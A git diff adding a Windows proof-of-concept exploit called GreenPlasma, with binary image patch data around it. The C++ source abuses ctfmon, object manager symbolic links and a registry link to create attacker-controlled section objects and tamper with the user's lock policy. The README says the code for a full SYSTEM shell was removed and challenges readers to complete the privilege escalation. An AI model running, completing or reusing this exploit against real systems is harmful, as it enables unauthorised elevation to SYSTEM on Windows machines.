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 +#include +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "advapi32.lib") + + +#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( + OUT PHANDLE pHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); +NTSTATUS(WINAPI* _NtOpenSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(hm, "NtOpenSection"); +NTSTATUS(WINAPI* _NtDeleteKey)( + HANDLE hkey + ) = (NTSTATUS(WINAPI*)(HANDLE hkey))GetProcAddress(hm, "NtDeleteKey"); +DWORD(WINAPI* CfAbortOperation)( + DWORD pid, + void* unknown, + DWORD flags + ) = (DWORD(WINAPI*)( + DWORD pid, + void* unknown, + DWORD flags + ))GetProcAddress(LoadLibraryA("cldapi.dll"), "CfAbortOperation"); + + + +bool SetPolicyVal() +{ + + bool ret = true; + CfAbortOperation(GetCurrentProcessId(), NULL, 0x2); + DWORD val = 1; + DWORD dwRes = NULL; + HKEY hk = NULL; + DWORD res = NULL; + PACL pACL = NULL; + PSECURITY_DESCRIPTOR pSD = NULL; + EXPLICIT_ACCESS ea; + HANDLE htoken = NULL; + DWORD dwSize = 0; + wchar_t* stringSid = nullptr; + wchar_t linktarget[MAX_PATH] = { 0 }; + PTOKEN_USER pTokenUser = NULL; + ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); + ea.grfAccessPermissions = GENERIC_ALL; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; + ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; + ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ea.Trustee.ptstrName = (wchar_t*)L"Everyone"; + dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL); + if (ERROR_SUCCESS != dwRes) { + printf("SetEntriesInAcl error: %d\n",dwRes); + goto cleanup; + } + + res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Policies\\Microsoft\\CloudFiles", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL); + if (res) + { + printf("Failed to reset HKCU\\Software\\Policies\\Microsoft\\CloudFiles DACL, error : %d\n", res); + goto cleanup; + } + res = RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps"); + if (res) + { + printf("Failed to delete HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res); + goto cleanup; + } + + res = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps", NULL, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, NULL); + if (res) + { + printf("Failed to create HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res); + goto cleanup; + } + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken, error : %d\n", GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + + GetTokenInformation(htoken, TokenUser, nullptr, 0, &dwSize); + + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + printf("GetTokenInformation failed, error : %d\n",GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + pTokenUser = (PTOKEN_USER)malloc(dwSize); + + if (!GetTokenInformation(htoken, TokenUser, pTokenUser, dwSize, &dwSize)) { + printf("GetTokenInformation failed, error : %d\n", GetLastError()); + _NtDeleteKey(hk); + goto cleanup; + } + CloseHandle(htoken); + htoken = NULL; + + if (!ConvertSidToStringSid(pTokenUser->User.Sid, &stringSid)) { + printf("ConvertSidToStringSid failed.\n"); + _NtDeleteKey(hk); + goto cleanup; + } + wsprintf(linktarget, L"\\REGISTRY\\USER\\%ws\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",stringSid); + + res = RegSetValueEx(hk, L"SymbolicLinkValue", NULL, REG_LINK, (BYTE*)linktarget, wcslen(linktarget) * sizeof(wchar_t)); + if (res) + { + printf("Failed to create symbolic link, error : %d\n", res); + _NtDeleteKey(hk); + goto cleanup; + } + CfAbortOperation(GetCurrentProcessId(), NULL, 0x2); + res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL); + if (res) + { + printf("Failed to reset HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DACL, error : %d\n", res); + goto cleanup; + } + + _NtDeleteKey(hk); + CloseHandle(hk); + hk = NULL; + res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", NULL, KEY_SET_VALUE, &hk); + if (res) + { + printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res); + goto cleanup; + } + res = RegSetValueEx(hk, L"DisableLockWorkstation", NULL, REG_DWORD, (BYTE*)&val, sizeof(DWORD)); + if (res) + { + printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res); + goto cleanup; + } + +exit: + + if (pACL) + LocalFree(pACL); + if (pSD) + LocalFree(pSD); + if(hk) + CloseHandle(hk); + return ret; +cleanup: + ret = false; + goto exit; +} + +int wmain(int argc, wchar_t** argv) +{ + + wchar_t smpath[MAX_PATH] = { 0 }; + DWORD sesid = 0; + if (!ProcessIdToSessionId(GetCurrentProcessId(), &sesid)) + { + printf("Failed to find current process session id, error : %d\n", GetLastError()); + return 1; + } + if (!sesid) + { + printf("Seriously...?\n"); + return 1; + } + wsprintf(smpath, L"\\Sessions\\%d\\BaseNamedObjects\\CTF.AsmListCache.FMPWinlogon%d", sesid, sesid); + wchar_t* ptarget = argc == 2 ? argv[1] : (wchar_t*)L"\\BaseNamedObjects\\CTFMON_DEAD"; + + bool lockblock = false; + SHELLEXECUTEINFO shi = { 0 }; + UNICODE_STRING linksrc = { 0 }; + UNICODE_STRING linktarget = { 0 }; + RtlInitUnicodeString(&linksrc, smpath); + RtlInitUnicodeString(&linktarget, ptarget); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &linksrc, OBJ_CASE_INSENSITIVE, NULL, NULL); + HANDLE hlnk = NULL; + HANDLE hmapping = NULL; + NTSTATUS stat = _NtCreateSymbolicLinkObject(&hlnk, GENERIC_ALL, &objattr, &linktarget); + if (stat) + { + printf("Failed to create object manager link.\nEither ctfmon is running as SYSTEM or an instance of the PoC is already running.\n"); + goto cleanup; + } + + shi.cbSize = sizeof(shi); + shi.fMask = SEE_MASK_NOZONECHECKS | SEE_MASK_ASYNCOK; + shi.lpVerb = L"runas"; + shi.lpFile = L"C:\\Windows\\System32\\conhost.exe"; + ShellExecuteEx(&shi); + + do { + _NtOpenSection(&hmapping, MAXIMUM_ALLOWED, &objattr); + } while (!hmapping); + + lockblock = SetPolicyVal(); + if (lockblock) { + do { + Sleep(20); + HDESK dsk = OpenInputDesktop(NULL, NULL, GENERIC_ALL); + if (!dsk || dsk == INVALID_HANDLE_VALUE) + break; + CloseDesktop(dsk); + } while (1); + LockWorkStation(); + } + printf("Section handle : 0x%x\n", hmapping); + printf("Press any button to close section and exit\n"); +cleanup: + if (hlnk) + CloseHandle(hlnk); + + if (hmapping) + { + _getch(); + CloseHandle(hmapping); + } + if (lockblock) + RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"); + return 0; +} diff --git a/green-plasma/LICENSE b/green-plasma/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/green-plasma/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/green-plasma/README.md b/green-plasma/README.md new file mode 100644 index 0000000..1c821c2 --- /dev/null +++ b/green-plasma/README.md @@ -0,0 +1,10 @@ +# GreenPlasma +GreenPlasma Windows CTFMON Arbitrary Section Creation Elevation of Privileges Vulnerability + +For this one, I'm not dropping the full PoC, I stripped off the necessary code for a full SYSTEM shell. This is a huge challenge for CTF lovers out there. + +The PoC will create an arbitrary memory section object in any directory object write-able by SYSTEM, if you're smart enough, you can turn this into a full privilege escalation as you can influence the newly created section to manipulate data, lots of services (and even kernel mode drivers) blindly trust certain paths since a standard user is normally not supposed to have write access to them. + +Unsure if this works in Windows 10 but it works in Windows 11/2022/2026 for sure. + +obj diff --git a/un-defend/EngineUnavailable.png b/un-defend/EngineUnavailable.png new file mode 100644 index 0000000000000000000000000000000000000000..ee7bcef4ad68c03eda0df7bf0187aca291f0b11f GIT binary patch literal 58225 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 